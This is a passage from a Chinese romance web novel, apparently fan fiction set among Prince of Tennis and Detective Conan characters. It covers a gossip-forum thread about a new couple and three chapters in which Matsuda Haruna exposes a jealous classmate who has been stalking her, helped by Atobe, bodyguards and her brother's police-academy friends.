39L:如果实名制许愿有用的话,我早就刷屏了好吗! ! ! 40L:校花和会长谈完,能不能和我谈谈啊!就因为我是女的就不可以吗? ? ?妹宝的人生有三万多天,给我一天又会怎样啊! ! !玩玩我吧求求了! ! 47L :我排着队,拿着爱的号码牌~ 49L:校花和我谈吧,出轨也没关系。我大部分时间都在发呆,留给你出轨的时间很多,而且我笨笨的,抓不到小三。外加经常吃垃圾食品加熬夜,活不长的求求你了呜呜呜! 50L :我真的要疯了,他既然可以,那为什么我不行? ?他不就高点帅点有钱点?我哪里差了? 51L : 怎么这个帖子里神经病这么多?你自己不都说出来了吗大哥你哪哪儿都比不上会长,还哪~里~差~了~ 52L :真的好嫉妒会长谁懂,以后他就可以名正言顺地和妹宝贴贴了。好想让妹妹对着我撒娇哦!我衣柜里有超多漂亮小裙子的!想天天把她打扮成芭比娃娃,玩真人版换装小游戏。 61L :你们的cp倒是成真了,我的cp却BE了我磕的是校花和年上的那位数字前辈,丫真是不争气,明明有机会都不知道争取! 62L:楼上别气馁,只要活得够久,啥事都有可能发生。校花现在能和会长谈,以后未必不能和年上谈。 63L :楼主多来点细节吧,拜托拜托。你自己是吃饱了,我还饿着呢! ! ! 64L :还有没有一班的其他同学了? ?多爆点料啊再! !最好讲得缠绵悱恻,荡气回肠一点,我是土狗,我爱听! 楼主:那我就多讲一点。平时会长早上都是先去早训,结束之后再来班里上课。但是今天他就很奇怪,一大早就来班里坐着,眼睛时不时地就盯着门口的位置发呆。校花进来之后,会长的眼睛当场就亮了起码五个度,毫不夸张!面部表情跟拉布拉多看见吃的一样,就差流哈喇子了。 他俩虽然是同桌,但平时早上打招呼都是很点到为止的那种。一般都是校花走到会长面前了,然后两个人对视之后笑一下,再互相叫各自的姓氏这样。 但今天! ! ! 校花刚进班,离着座位还有八百米远呢,会长“噌”地一下就站起来,小跑着就过去打招呼了,声音还贼洪亮。 也不叫人家松田了,光叫校花的名字。叫得那叫一个柔情似水,意蕴悠长。宣誓主权的意思真的很明显,给我笑得发财。 讲真,楼主从国中开始就和会长同班,从来没见过他那么说话。声音都不是一般的有磁性了,太会夹了,感觉早上出门前吞了块磁铁。一开腔,方圆八百里的铁性金属都得被他吸过来。 70L:啊~cp粉满足了,纯爱应声倒地。 71L:虽然但是,会长不像纯爱那挂的。他绝对是肉食系。 72L:三个字描述会长——他超爱! 73L :服了,会长这样级别的高富帅谈恋爱都官宣,恨不得昭告天下。我谈得那个不过是个社团的副部长,还说什么怕影响前途,所以不愿意公开 74L:大家只是网友,楼上你别这样 78L :楼上上删了呗,我是无所谓的,没那么容易的,不轻易破防的。但是我一个朋友可能有点汗流浃背了,她不太舒服想睡了。当然不是我哈,我一直都是行的,以一个旁观者的心态看吧,也不至于破防吧,就是想照顾下我朋友的感受。她有点破防了,还是建议删了吧,当然删不删随你,我是没感觉的,就是为朋友感到不平罢了,也不是那么简单破防的。 79L:怕~影~响~前~途~他有个屁的前途,全是图钱好吧!楼上的你们分不分,不分别来影响我的乳腺! 楼主:再补充点。会长叫完校花的名字之后,就眼巴巴地看着她,我一开始还没明白怎么回事。后来才知道校花可能是害羞,但看他那么等着,没办法也礼尚往来叫了他的名字。当时会长的表情啧啧啧,简直没眼看。 85L:又幸福了,会长。 86L:他!是国内TOP家族的未来掌权人,高傲张扬,不可一世,却心甘情愿把她捧在手心! 87L :楼上味儿有点太冲了多写点,我爱看,就好这口玛丽苏。最好多写点围着女主转的痴心男配^^ 88L:好了,今天晚上睡觉之前的脑内小剧场就是这个了! 89L:点到为止写几句就行了,不然会长家的律师团可不是吃干饭的。 90L :大家谁还记得之前那个讲会长书包挂件的帖子! ! !感觉早就有蛛丝马迹了耶。 96L :帖子来咯~链接放在这层了,大家可以对比着看。 【八一八会长的书包挂件 】 97L:我这儿也有别的证据,会长和校花的那期杂志同框照片~眼神是骗不了人的。 楼主:谢谢大家友情提供的证据链,我把这些链接都附在主楼里了,大家可以按需查看~ 100L :啧啧啧,把楼里提过的证据都过了一遍之后发现,会长真是闷声干大事,一环套一环,估计三十六计都倒背如流了吧! 101L:懂了,立刻下单兵法书。希望有朝一日能把会长的墙角撬了。 108L:101L你算了,我也去买。有梦想总是好的。 109L:说不定真能成。因为会长大学肯定是要出国的,到时候妹妹身边就只有我了。 110L:你错了。届时妹妹的身边还会有她练拳击的爸和当警察的哥;会长留下的眼线,还有等待上位的我~ 113L :不是,看了一圈发现怎么大家都更想和校花谈啊那我的竞争压力不就更大了! 114L :因为大家都不傻单就恋爱体验感来看,肯定是和妹妹谈更有意思,情绪价值能提供得满满的。会长还是算了,感觉他是那种会皱着眉说我今天穿搭不华丽的人。 115L:画面感有点太强了,下一刻就要开始红豆泥私密马赛了。 116L :话说,他俩长这么好看,以后的孩子得长成啥样啊? 117L:就长我这样!真心提问,如果我从现在开始就喊他们爸妈,未来能把我加进他们的家族信托基金吗? 118L:大白天的确比较适合做这种白日梦哈。如果光喊爸妈就能进家族信托的话,那我早就成为全世界富豪的子孙了好吗!甚至还能凭借这一门认亲技术做大做强,最后带领大家去纳斯达克敲钟! 119L:不管,这周末我就去寺庙,诚心祈求妹妹的下一个恋爱对象是我。 120L :建议去最灵验的那个恋爱寺庙——东京寺。去了之后记得别拜错神,拜完之后可以再买个御守增强一下念力。 121L ( AAA东京寺恋爱御守代买):本人银行账户为1249XX ,买一个2000円,买俩打九折。如需添加代参拜神像等其他业务,可私聊,非诚勿扰。 122L:好强的行动能力,好牛的商业头脑!我服了。楼上不发财谁发财? !我要预定一个结缘御守! 124L:我要俩!还要附加寺庙工作人员的开光仪式! 125L:我要12个!每个月都换新的! 126L:那我要365个! 127L:我立马让我爸妈去收购东京寺! 作者有话说: 感谢在2024-03-05 23:52:25~2024-03-07 22:08:52期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢灌溉营养液的小天使:不信你没写后文、眠北、L_x.ying 1瓶; 非常感谢大家对我的支持,我会继续努力的! 第33章 和迹部景吾正式公开之后,松田春奈总感觉有人在暗处窥视着自己的一举一动,目光粘腻得像条阴暗的蛇,让人浑身不舒服。 她几次假作系鞋带和捡东西四处环视时,这股让人不适的视线又立刻消失得无影无踪。就像水滴落入大海,找不到一丝痕迹。 松田春奈顿时警铃大作,毕竟普通人的反应能力其实是有限的。 她已经习惯偶尔会有人明里暗里地偷偷看她,只看几眼就算的这种,她就全当无事发生。但如果看个不停还上下打量的话,她都会直接了当地看回去。当场抓包之后,他们都通常会灰溜溜地转移视线,而后落荒而逃。 但这个人不一样。 “他”不但对自己有超乎想象的敌意,还有着一定的反侦察能力,这对她来说并不是什么好兆头。 松田春奈打算再试探最后一次。 她知道迹部景吾会随身携带镜子,整理仪容,于是开口道:“迹景吾,把镜子借我用一下。” 迹部景吾并不多问,反手从书包里拿出来给她。 松田春奈把镜子举起来,调整到合适的位置,确保自己能从镜子里看到最后一排的情景。 然后装作臭美的样子,举着镜子快速地把自己后排的同学过了一遍,却还是一无所获。 她把镜子放到笔袋里,用手指左戳右戳,一副百无聊赖的样子。 迹部景吾看着她的举动,把班里同学的座位表默了出来,邀请她道:“春奈,中午和我一起吃饭吧。” 松田春奈点点头。 接下来的时间里,她一直有意无意地和迹部景吾形影不离。 还好周一上午没有体育课,只需要在室内呆着就好,暂时不会出现什么密闭空间的霸凌事件。 她也一直尽量少喝水,减少上厕所的频率。 实在要去,就拽上川岛花一起,身后还跟着迹部景吾这位门神当保镖。 川岛花在松田春奈给她特意画了一幅玩偶设计图之后,就彻底粘上了她。甚至直接从二班转到了一班,座位也调到了她的前面。 刚转班的时候,她还好奇地问过迹部:“冰帝的学生手册里不是说过,禁止学生随便转班吗?” “因为我们家有全国最大的传媒公司。”川岛花笑眯眯地举手抢答,“就算是冰帝,也是需要好名声来维持招生的。” 总之,川岛花不愧是家有电视台的大小姐,嘴上能力堪称一流。不论你今天状态怎么样,在她口中都是地球球花。把松田春奈夸得是天花乱坠,自信爆棚,直呼哪里哪里。 不知不觉间,松田春奈就被她忽悠地成为了朋友。 川岛花不但乐于夸人,还乐于送礼,送得还都是些很有少女心的配套饰品。戴上之后,明眼人一看就知道,两人是好朋友。 对于这些价值高昂的礼品,松田春奈也曾态度坚决地拒绝过,但并不管用。 她只要一开口,川岛花就一脸可怜地看着她卖惨:“春奈,你知道我的,我从小就没有朋友。更别提和好朋友一起戴这些东西了。你就当可怜可怜我,圆了我的闺蜜梦吧。” 松田春奈:“” 不是,这话怎么听着这么耳熟? 她目光犀利地看向迹部景吾—— 好家伙,合着你们有钱人卖惨都这么一个套路是吗? 一个说自己之前没有过同桌,一个说自己之前没有过朋友。 这么下去,真不知道她下一个富二代朋友的心理创伤又是什么。 松田春奈一直对女孩子比较心软,看着川岛花对着自己伏低做小只为了体验各种“闺蜜生活”,她也不再坚持最初的想法,而是陪着她戴各种花里胡哨的小玩意儿。 知道她喜欢各种少女心的玩偶,松田春奈就在业余时间给她画各种设计图当作礼物。川岛花收到后感动得一塌糊涂,眼泪汪汪地又给她送了一大堆饰品。 就这样,一个送礼,一个送设计图,送来送去彻底送成了一个闭环。 饰品越来越多,松田春奈的桌洞早就放不下了。 她索性把它们放到了办公室的柜子里保存好,每天让川岛花提前选出她最想戴的top1,然后她再去戴上配套的另一只,两人一起在学校里当“姐妹花”。 但有一点,松田春奈只在学校里和她一起佩戴,从不将其带回家。 她心里想得好好的,打算毕业的时候,将所有的饰品一齐还给她。 迹部景吾在没成为男朋友之前,对川岛花此举暗暗泛酸,明里暗里说她的审美不够华丽。 川岛花对此视若无睹,继续把蝴蝶结夹在松田春奈的头发上,并美美拍照留念:“好大的酸味,谁家的柠檬成精了?” * 临出教室之前,松田春奈把一些小玩意儿也带到了身上。 多亏了她从开学以来就拉满的警戒值,和哥哥对她的过度保护欲。她一直在书包里常备防身武器。 她把哥哥给她改造的电击器放在校服口袋里,把美工刀藏在袖子内侧的自制口袋,确保自己遇到危险时也能有自保之力。 川岛花拉着松田春奈的手大步走着,意有所指道:“真搞不懂,谈个恋爱而已,用得着上厕所也跟着吗?” 松田春奈刚要解释,川岛花一挥手:“不用解释,他超爱是吧,我懂。” 托这两位的福,松田春奈一路平安地上完了厕所,什么幺蛾子也没遇上。 好不容易熬到了中午,松田春奈只觉得自己被盯得已经麻木了。她摸着胳膊上的鸡皮疙瘩,心里决定,哪怕今天抓不到人,也得在下午找机会当着全班的面震慑一下“他”,好出了自己的这口恶气。 忍足侑士看着他们结伴离开,调侃道:“恭喜小景脱离苦海,终于不用每天再苦练五感了。” 松田春奈一脸困惑:“练五感?景吾,你是打算练新招吗?” “我确实不用练了,但你最好练练。”迹部景吾瞪他一眼。 忍足侑士吹了个口哨:“我练什么?我又不需要每天中午守在窗口” 迹部景吾重重地咳了一声,打断他道:“因为我打算邀请立海大去合宿。” 忍足侑士:“?” 他的眼神中逐渐透露出一丝惊恐。 “而你,我的朋友。”迹部景吾笑得阴恻恻的,“到时候就代表我们冰帝去和幸村对打。” 作者有话说: 感谢在2024-03-07 22:08:52~2024-03-09 00:10:32期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢灌溉营养液的小天使:挽歌、络绎不绝、蛞蝓永远一米六5瓶;景酱老婆3瓶;笶迩、眠北1瓶; 非常感谢大家对我的支持,我会继续努力的! 第34章 在松田春奈他们走后,忍足侑士连吃饭的心情都没有了,捧着手机就开始给幸村精市发消息。 忍足侑士寒暄道:“幸村,别来无恙,近来可好?不知道你的五感剥夺技术练到哪种程度了。平时打球有没有放水的习惯。盼回复。” 幸村精市的消息回得很快:“听迹部说,你最近在研究新招式,想通过跟我对打来找灵感?放心,届时我一定会全力以赴的:)” 忍足侑士婉拒道:“ 倒也不必如此。你要是忙得话,让仁王伪装成你的样子和我打就行。” 幸村精市坚持道:“放心,我们立海大的校训就是乐于助人。要是只和我对打还没有打出灵感的话,相信真田也会很乐意帮忙的:)” 几人之前在U17的暑假集训中熟悉了不少,忍足打眼一看他的回复,就知道幸村精市存的什么心思。他内心暗暗抓狂,就知道丫靠不住,光想看热闹,腹黑程度和青学那个不二简直不相上下。 “听说国际植物园保护联盟最新出了一本植物学图鉴。”知道幸村的兴趣爱好,忍足侑士直接放大招,“剥夺五感的时候给我留点意识,保证让我能走回宿舍就行。” 幸村精市也没再装傻,秒回道:“却之不恭。” 刚刚迹部打电话邀请他们合宿的时候,真田弦一郎也在旁边,对于某些单打安排听得是一清二楚。 他好奇道:“迹部这次怎么安排忍足当单打一?” 幸村精市:“忍足的那张破嘴,之前集训的时候你又不是没见识过。让关西人忍住不吐槽,简直像要了他们的命。” “看来这次忍足是真的把迹部惹毛了,但是和我之前推算过的概率相差很大。”柳莲二拿着笔记本从一旁冒了出来,“数据告诉我这件事没有那么简单。” 幸村精市赞同道:“忍足一直就是这个性格没变过,按理说迹部应该也习惯了才对,除非发生了什么变动。” 柳莲二在本子上写写画画,忙个不停。 算到最后,他猛地睁开双眼:“迹部生病的概率为5.8%,想帮忍足开发新招式的概率为为5.3%,其他因素概率为4%。” 看到军师久违地睁眼状态,八卦使然,其他正选也纷纷围过来听他的分析。 仁王雅治“ puri”一声:“可是这些数据听起来都很正常。” “还有最后一项——迹部恋爱的概率为84.9%。” “!!!” 一石激起千层浪,相较于军师的失态睁眼,其余众人的表情管理也没好到哪里去。 丸井文太吹着泡泡糖说道:“我一直以为,(嚼嚼)就凭迹部的那个性格,(嚼嚼)这辈子靠自己是找不到女朋友的。” “竟然有女生受得了他那种华丽的性子吗?”仁王雅治扶起自己被惊掉的下巴,艰难地找了个中义词形容道。 柳莲二严谨道:“只是目前这种概率最大,但一切还要以实际为准。” 军师的这句话,就跟你去借鉴学霸的作业,然后学霸说自己写得也不一定对一样,只是单纯打个补丁。 柳生比吕氏一脸淡定:“要是迹部真谈恋爱了,估计不出一周,消息就能传到咱们这边,到时候就能知道了。” 这话说得也是,想想迹部之前的那些丰功伟绩,给桦地举办生日派对都能办成超大规模,更别提女朋友的事了。 众人七嘴八舌地打赌道—— “我押迹部会用私人飞机拉横幅飞遍全国。” “我押迹部会再举办一次网球祭,豪华plus版的。” “我押迹部直接买下日本所有商城的大屏幕广告,全天候滚动恋爱消息。” “ ” * 一进办公室,松田春奈立刻把大门锁上。在电视后面,柜子深处等各个隐蔽的角落到处查看有没有窃听器。确认屋子里目前还没有“外来物品”之后,她松了口气,瘫坐在沙发上。 迹部景吾看她终于放松下来,开口道:“春奈,发生什么事了吗?” 松田春奈拍拍自己身旁的位置,示意他坐过来,把自己的猜测轻声告诉了他。 迹部景吾神色一凛,他当然清楚自己女朋友的实力。如果让她都觉得棘手的话,必然不会是小问题。 “会不会是你上次拆弹的消息流出去了,嫌疑犯的同伙打算找你下手?”他问道。 松田春奈摇摇头:“我哥他们反复确认过很多遍,那个炸弹犯的社会关系很简单,从来都是独来独往,同伙复仇的概率极低。” “而且,我只有在班里的时候,被人监视的感觉才最强烈。”她补充道。 迹部景吾:“也就是说,班里的每个人都有嫌疑。” 他把默写好的座位表拿出来,铺在桌子上,挨个给她讲解每个同学的社会网,以及他们的兴趣爱好和擅长的事,连他自己的私人信息也没落下。 “本田擅长剑道,师从甲冢” “小松是校外考入的新生,曾经获过全国空手道优胜” “夏木的祖上有意大利黑手党那边的关系” 全班一共25人,除了松田春奈以外,他把所有人都分析得头头是道,甚至包括今年刚从别的学校考入一班的其余6名新生。 松田春奈感叹道:“国中直升上来的同学,你这么了解也就算了,这几名新生你是什么时候知道他们这么多信息的?” “其实这不算什么,不过是训练出来的社交本能,熟能生巧而已。”迹部景吾喝了口水润润嗓子。 松田春奈好奇道:“那我呢?你对我了解多少?” 闻言,迹部突然被呛了一口。 这个问题还真是不好回答。 答得太浅,对方会觉得你不了解女生的内心世界,只是浮于表面,算不上灵魂伴侣;答得太细,又容易像痴汉,她也不用再另外去找嫌疑犯了,直接当场破案。 看着自家女朋友期待的眼神,迹部景吾深吸一口气,跟报菜名一样地说道—— “你几乎不挑食,但香菜和生食除外;吃到好吃的食物会不自觉地跺脚;开心的时候会笑到前仰后合;焦虑的时候会咬下嘴唇;害羞的时候眨眼的速度会变快——” “可以了!”松田春奈只觉得他比自己想象的还要了解自己,就连平时自己没有注意到的小动作都被他看在眼里。 她的眉眼低垂,长长的睫毛像蝴蝶振翅般不停地颤动。 “可是我还没有说完。”迹部景吾说上瘾了,骤然被打断还觉得意犹未尽,装作要继续说下去的样子故意逗她,“脸红的时候会——” 松田春奈的耳朵烫得惊人,像是熟透的樱桃,让人忍不住想去采撷。 她扑过去伸手捂住他的嘴巴,像只炸毛的猫:“到此为止,不许再说了!” 迹部景吾压根就没打算躲,顺着她的动作仰倒在了沙发上,右手在她的身后虚扶。 即使被捂住了嘴,他也不在乎,眼里似乎有万千星子在同时闪耀。 他含混着开口:“我错了,再也不说了。” 吐字之间,他的气息打在自己手掌上,让松田春奈忍不住蜷缩了一下手指。她强装淡定,压低身子,和他四目相视:“你发誓?” 最近气温转暖,松田春奈也不再像之前那样,把衬衫扣子一直系到脖颈。反而会留下一两颗扣子,方便透气散热。 打闹之间,自然而然地,锁骨处一抹细腻的白突然映入他的眼帘。 像是被烫到了一样,迹部景吾立刻把头扭到一边,举手投降道:“我发誓,你要是不让我说的话,我以后就再也不说了!” 看在他认错态度良好的份上,松田春奈这才起身放过了他。 迹部景吾呆愣愣地看着面前的座位表,喉结滚动了一下,转移话题道:“说了这么多,你觉得班里哪些人嫌疑比较大?” 松田春奈在纸上画了一条分界线,指了指坐在自己身后的这些人:“直觉告诉我,和前排的人没有关系。那个人的目光一直都在盯着我的后背。” “根据你刚刚的分析,我觉得这三位的嫌疑是最大的。” 他看着她圈出来的名字,点头记下。 然后立刻起身打了个电话,让管家调两位女保镖到学校扮成学生,随时贴身保护她。 “会不会有点太夸张了。”松田春奈没经历过这么大的阵仗,问道。 “相信我,这都是最正常的自保手段。”迹部景吾说得很认真,“敌人在暗,我们在明。在没搞清楚他们为什么监视你之前,怎么小心预防都不为过。” 做完这些之后,他仍不放心:“春奈,你要不要暂住到我家一段时间?我家的安保系统还算不错——” “打住!”松田春奈比了个暂停的手势,“我如果去你家暂住的话,我们全家估计也会一起跟着住过去。” “真的吗?那是不是代表我们的关系已经到了见家长的程度了?” “ ?我很确定,我说得见家长和你说的肯定不是同一个意思。目前这些防范措施已经足够了,校内有人保护我,校外的话,我最近会让我爸爸每天接送我上下学,不会有什么危险的。” “我也可以每天接送你。”迹部景吾积极毛遂自荐道。 松田春奈拒绝道:“不用了,你每天还有部活要忙,送完我还得再赶回来训练,太累了。” 迹部景吾看着自己女朋友一脸没得商量的样子,只好作罢。 不得不说,豪门的效率就是快。 等到下午上课的时候,两名保镖早已端正地坐在教室的最后一排,像模像样地记起了笔记。 也许是察觉到了异样,松田春奈能明显感觉出来,下午监视自己的视线一下子收敛了许多。不再是长时间的盯梢,而是变成了若有似无的几缕瞥视。 经过两天的排查,保镖初步断定,最近一直监视她的人应该就是小岛健太,正巧是她当初猜测的三人之一。 保镖1 :“小岛君经常会装作看向黑板的样子,目光却飘到松田桑的方向。” 保镖2 :“他还会在本子上记录下来松田桑的作息,详细到喝水,吃饭的具体时间。” 迹部景吾好奇:“你当初是怎么看出来他有嫌疑的?” “因为他是班里目前唯一和我有利益纠葛的人。”松田春奈说道,“听说在我入校之前,小岛君一直都是年级第二,只屈居在你之下,是吗?” 迹部景吾点点头:“没错。但你来了之后,我就成了第二,他成了第三。” “之前你拿第一的时候,是不是从来不领奖学金?” “没错。” “他父母都是公司高管,明明不缺这笔钱。”迹部景吾一点就通,却更加不理解他这样做得理由。 松田春奈耸耸肩膀,从小她就被哥哥灌输过无数刑事案件,所以很早就明白一个道理——这个世界上就是会有无缘无故的恶。 她相信会有真善美的存在,却从不挑战人性。 她摸着下巴说道:“关于他偷窥这件事,如果没被抓到现行,他是绝不会承认的。反正很快就到周末了,我先放出口风说周六要去医院,看看他到时候会不会尾随我。” “我就不信,在校外还逮不住他!” 迹部景吾知道她容易心软,问道:“万一他到时候向你哭诉自己有苦衷,请求你原谅怎么办?” “他可以去警视厅当着警察的面哭诉。”松田春奈回答得很是轻松:“我哥可以负责带路。反正去警视厅的路他比我熟多了。至于说原不原谅——” “原谅他是上帝的事,而我的任务,是送他去见上帝。” 作者有话说: 感谢在2024-03-09 00:10:32~2024-03-11 21:09:07期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢灌溉营养液的小天使:努力学习10瓶;ting 6瓶;挽歌5瓶;L_x.ying 2瓶;我有一头小毛驴1瓶; 非常感谢大家对我的支持,我会继续努力的! 第35章 这几天因为班里突然出现了两名陌生人,可能害怕暴露,小岛健太的视线也不再像之前那样放肆。 松田春奈本来还在琢磨,需要用什么样的话术才能钓鱼执法,让他一次上钩抓个现行,把他从根源上解决。 没成想,老师直接帮她添了一把火。 原定于下周才会出成绩的数学卷子,被她赶在周五放学之前快马加鞭地批了出来,并且把松田春奈当着全班的面夸了又夸。 不是说她逻辑能力强,就是夸她举一反三头脑灵活。 夸到最后,如果人的视线也能具化成箭矢的话,那小岛健太的目光早已乱箭齐发,正中松田春奈的后背了。 人在处于极端情绪当中时,是很难立刻冷静下来的。 察觉到后方传来的目光,比之前所含的恶意更甚时。松田春奈知道,自己的机会来了。 下课之后,她趁着小岛还沉浸在嫉恨当中无法自拔时,趁热打铁拉着迹部景吾演了一场自导自演的戏。 小岛健太坐在班里倒数第二排的位置,她一边装作去后门扔垃圾的样子,一边和迹部聊天。她凡尔赛地抱怨,明明自己考了第一名,但是周六还是没法出去玩。 迹部景吾当托当得很合格,及时问下去:“那你周六要去哪儿?” 松田春奈脱口而出:“当然是东医咳,没什么。” 两人的演技都很不错,小岛健太丝毫没有感觉哪里不对。看着他若有所思的眼神,松田春奈知道,鱼儿上钩了。 “你周六几点去复诊?”演完戏,两人回到座位上之后,迹部景吾问道。 “大概九点左右吧。”松田春奈回想了下以前的复诊时间,“这事一般都是我哥负责,我听他安排就行。” “那明天我在你家门口等你。”察觉到她没有让自己陪她去的意思,迹部景吾努力展现自己的有用之处,“坐我的车去医院,你早上还可以多睡一会。” 松田春奈回想了下他上次送自己回家的车子外形,摇了摇头,婉拒道:“你的车辨识度太高了,万一小岛君认出来就不好办了。” “那我换辆车。” “那你能确保在医院的时候,不被小岛君发现吗?” “不能。” 迹部景吾顿时感觉自己像个毫无用处的花瓶,什么忙都帮不上。 松田春奈敏锐地察觉到他的情绪,漂亮的眼睛弯成一道弧线,趴在他的桌子上哄他:“你是我的人证,是我的杀手锏,当然要妥善保护。如果在警视厅需要帮忙作证的话,我肯定第一时间给景吾打电话求助。” 他打起精神,冲她点了点头。 每天和保镖对练的时间再加一小时!他摸着掌心新磨出来的茧子想道。 关于自己被同学窥视的事,松田春奈一直没有告诉松田阵平,就算在两人每天的例行“日报”当中也没有提过。 主要是担心他一个冲动,直接从警校带一大帮子人过来打群架,闹大之后不好收场。 当然——是小岛健太一个人,打他们一群。 群架的群,也可以是被群殴的群。 好不容易等到周五,按照松田阵平雷打不动的接送惯例,她知道今天是瞒不过去了。 鉴于自己一直都装作没发现有人在暗处监视她,小岛健太的胆子也变得越来越大,同理还有他窥视的范围。 现在不仅会在班里监视她的作息,从两天前开始,甚至还会在校门口试图跟踪。 多亏放学时人多,两名保镖借机堵在他面前,这才让松田春奈趁机把他甩掉。 就凭他那种粗糙的监视技术,连自己都能发现不对劲,更别提神经敏锐的警校生了。 在校门口接了松田春奈这么多次,今天是松田阵平第一次没在她眼里看到“你没事吧?”这种含义。 看着自家妹妹脸上乖巧的笑,他内心又开始发颤。 第一次发现自己原来是贱皮子,可能还同时患有笑容PTSD,总之就算受不了她给自己好脸色看。 这也不能怪他,毕竟上次她冲着自己这么笑,下一秒就告诉他谈恋爱了。 也不知道这次又是有什么惊天大新闻在等着自己 “啊咧,我快要对春奈妹妹的这个表情有心理阴影了。”萩原研二吐槽道,“我去旁边站会儿,小阵平你负责打头阵,去迎接暴风雨吧。” 松田阵平努力调整好心态,安慰自己,反正再怎么样,都不会有比她在自己眼皮子底下谈恋爱更坏的消息了。 事实告诉我们,心还是不要放得太早。 在松田春奈磨磨蹭蹭小声在他耳边说了自己这一周被同学监视的事后,松田阵平只感觉一股怒火“噌”得涌上大脑,胸口的戾气满得仿佛能溢出来。 顾不上问她为什么不把这件事第一时间告诉家里,他立刻把自家妹妹360度无死角地扫视了一遍,确认她没有受伤之后,唬着脸瞪她:“你胆子大了是吧,这种事竟然还敢瞒下来。” 松田春奈双手合十,不停作揖:“别生气别生气,我真不是故意瞒着你的。主要是担心你知道之后,万一一个没忍住在校外打架,然后被记过退学了怎么办?” “迹部那小子呢?他知不知道你被人跟踪的事?” “他知道——” “你连他都告诉,为什么不肯告诉我?!我就这么让你没有安全感吗?” “主要是那家伙做的事目前还没有证据,告诉你也只是徒增烦恼,我只是不想让你担心” 松田阵平不停地深呼吸,告诉自己别和她置气。他的吐气声沉重粗粝,如同狂风下的巨浪,充斥着暴虐和危险。 这是他第一次直观地了解到,自己平时在他人眼中的形象是多么重要。重要到甚至会影响自己的妹妹在遇到危险时,会不会第一时间把消息告诉他。 如果如果她的哥哥不是自己,而是降谷他们的话,是不是她就不用天天提心吊胆,总担心他在学校闯祸,和老师同学相处不好。也会在遇到危险的时候,不用顾虑那么多,立马就能告诉他们。 霎时间,他像是在饥寒交迫的时候突然吃到了一颗青涩果子的难民,心情五味杂陈,难以形容。 松田春奈看他冷静下来之后,小心翼翼地凑过去说了自己的“钓鱼”计划。 “有他的照片吗?”松田阵平把自己的失落隐藏起来,问道。 松田春奈把相册打开:“他一般都在学校门口的第二棵樱花树下偷偷监视我。” 松田阵平低头看了眼照片,眼神冷漠得像是冰山上千年不化的雪,没有一丝温度和情感。 他拿着手机,凑过去和萩原研二轻声说了几句话。 “这不是那天来和咱们搭话的那个小子吗?”萩原研二一眼就认了出来,“就是把头发染了色。” “看来那天还是没把他吓到。”松田阵平眯起眼睛说道。他活动了下手腕,语气森然,“也罢,明天一定给他一个终生难忘的教训。” 根据提供的照片,两人配合默契,表情自然,一人负责查看一边,很快就锁定了小岛健太的位置。 “这眼神可真让人讨厌。”萩原研二握紧拳头。 松田阵平反倒平静下来,只是眼神锋利,像一把出鞘的剑:“那明天就先打这里好了。” * 这个周六本就是松田春奈和医生约好的复诊时间。 尽管她自认为幼年所遭受的心理创伤早已痊愈,但无奈家里人却不这么想,总把她当成易碎的琉璃,按时带她来复诊。 为了让家人安心,她只得老老实实地照做。 “在我第一次见你,并且当上你主治医生的时候,根本没想到你能在这么短的时间内恢复得这么好,简直像个奇迹。”给她复诊的佐藤医生从小看着她长大,一脸欣慰道,“根据近几年来的数据来看,你已经完全康复了,以后再也不需要每季度来我这里打卡报道了。” 等到这句话的松田春奈简直心花怒放。 终于要和医院的消毒水味说再见了! 她开心地从椅子上蹦起来,看向陪自己就诊的哥哥:“哥你听到了吗?回家你可要一字不差地告诉爸妈,我以后再也不用来复诊了,这可是佐藤医生亲口说的!” 松田阵平也跟着松了口气,痊愈了就好。 他用病历本轻敲了一下她的脑袋:“知道了。” 两人礼貌地和佐藤医生告别,从诊室里走出来。 人逢喜事精神爽,松田春奈忍不住哼了首歌。 这么多年了,终于不用再定期过来闻消毒水味儿了,好耶! 痊愈的喜悦,再加上马上要把另一个监视者铲除的快乐。双喜临门,她只觉得自己走路都带风。 以防今天可能会有剧烈活动,松田春奈特意穿上长衣长裤,避免在干架的时候受不必要的伤。 为了一举拿下小岛健太,以绝后患。松田阵平昨晚特意回到学校,把自己平时捣鼓改良的小玩意儿带了出来。 警校五人组的任务各不相同,他负责陪着松田春奈复诊。其余四人责找地方埋伏起来,借机搞到小岛健太跟踪偷拍的证据,然后再把他拿下。 小岛健太的警惕性很强,做戏做全套,直接在东医挂了号。他低头拿着单子,装作病号的样子,跟着兄妹两人上了三楼的精神科。 在亲眼看到他们进了科室之后,他整个人忽然开始亢奋起来。双手不由自主地抖动,连手机都拿不稳,更别提解锁拍照了。 连试几次都不行之后,他猛地从候诊区站起来,想要发脾气。周围的病人被他吓了一跳,他这才意识到自己身处何处,又慢慢坐下去,继续摆弄手机。 警校组一直通过耳朵里的微型通讯器随时联系着,看见这一幕之后,他们确定。兄妹二人前脚刚踏出诊室的门,后脚他就能偷拍完。 留在大厅的几人对视一眼,慢慢分散开来,堵住各处的出口。 小岛健太根本无暇顾及周围的情况,满门心思都在松田春奈马上就要身败名裂的想法之中。到时候,不但奖学金是自己的,他人的崇拜,老师的夸赞以及父母的关爱又会重新回到他身上。 一想到这儿,他就兴奋地想要大声尖叫。 他给“那个人”发消息道:“松田春奈进了精神科。” 很快,“那个人”的消息就回了过来:“记得拍照,拍清楚点。” 须臾,两人的聊天记录便自动消失不见。像是从未发过消息一样。 小岛健太把手机的屏幕待机时长调到最长,相机的比例调成合适的位置,确保松田春奈的脸和精神科的牌子能一齐入镜。 一切准备就绪之后,他像是只捕食的秃鹫,静静等待着猎物的到来。 换句话说,他这只以腐肉为生的动物,正在耐心等待着猎物即将迎来的社会性死亡,并打算用猎物的痛苦来滋养它的精神。 松田阵平还没走出长廊,诸伏景光的情报就传过来了:“证据到手。现在人太多,不方便行动。等他到出了医院大门再动手。” 他呼吸一窒,压抑了一天的暴虐冲动像只要冲破牢笼的野兽,在他的胸口大声嚎叫,想要奋力撕开围栏。 来不及解释,他让松田春奈慢慢乘扶梯下楼,自己三步并作两步,从楼梯处几下借力就跳到了一楼,和其余四人在下面汇合。 鉴于警校组里,只有伊达航没被小岛健太遇见过,所以班长则成了唯一一个大剌剌走在他身后的人。 眼看着小岛健太慢慢走到了大家定好的标记点后,随着降谷零一声令下,几人立刻缩圈向他跑去。 